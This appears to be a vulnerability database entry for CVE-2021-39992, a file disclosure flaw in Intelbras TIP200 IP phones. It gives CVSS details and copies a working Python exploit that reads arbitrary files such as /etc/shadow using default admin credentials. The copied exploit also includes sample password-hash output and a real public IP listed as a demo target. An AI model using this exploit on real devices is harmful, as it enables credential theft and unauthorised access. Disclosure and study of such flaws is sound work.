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Intelbras Telefone Local File Disclosure

CVE	Category	Price	Severity
CVE-2021-39992	CWE-22	Not disclosed	Critical

Author	Risk	Exploitation Type	Date
Matheus Souza	High	Local	2018-03-22

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N	0.07397	0.75127

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030185

Below is a copy:

Intelbras Telefone Local File Disclosure

# Title: Intelbras Telefone Local File Disclosure
# Shodan: Intelbras Telefone IP TIP200 LITE
# Date: 21/03/2018
# Tested: w10
# Credit: Informacion - Anonymous
# Authors: Matheus Goncalves - anhax0r
# Version: [60.0.75.29] (REQUIRED)
# Exploit:

import requests as http
import subprocess
import os
from requests.auth import HTTPBasicAuth
def poc():
    print("""                -------------------------------------------------------------------------------------------------------------
                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include | Local File Download-------------------
                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
                -------------------------------------------------------------------------------------------------------------\n""")
    filename = raw_input("filename Ex: /etc/shadow: -> ")
    if(filename == ""):
        filename="/etc/shadow"
    r = http.get("http://192.168.0.207/cgi-bin/cgiServer.exx?page="+str(filename), auth=HTTPBasicAuth('admin', 'admin'))
    print(" ")
    text = r.text
     
    print(text)
    savefile = raw_input("Save file? [Y\\n]: ")
    savefile.upper()
    if(savefile=="Y" or savefile=="y"):
        os.system("echo '"+text+"' > "+filename.replace("/etc/", ""))
        print("File saved !!")
        start()
    else:
        start()
             
def start():
    poc()
     
start()

#root@hax:~/itscanner# python p0c.py 
#                -------------------------------------------------------------------------------------------------------------
#                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include |-------------------
#                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
#                -------------------------------------------------------------------------------------------------------------
#filename Ex: /etc/shadow: -> /etc/shadow
  
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::
 
#Save file? [Y\n]: y
#File saved !!
 
#root@hax:~/itscanner# cat shadow 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::

# Dem0:

- http://177.135.140.143
####################################################

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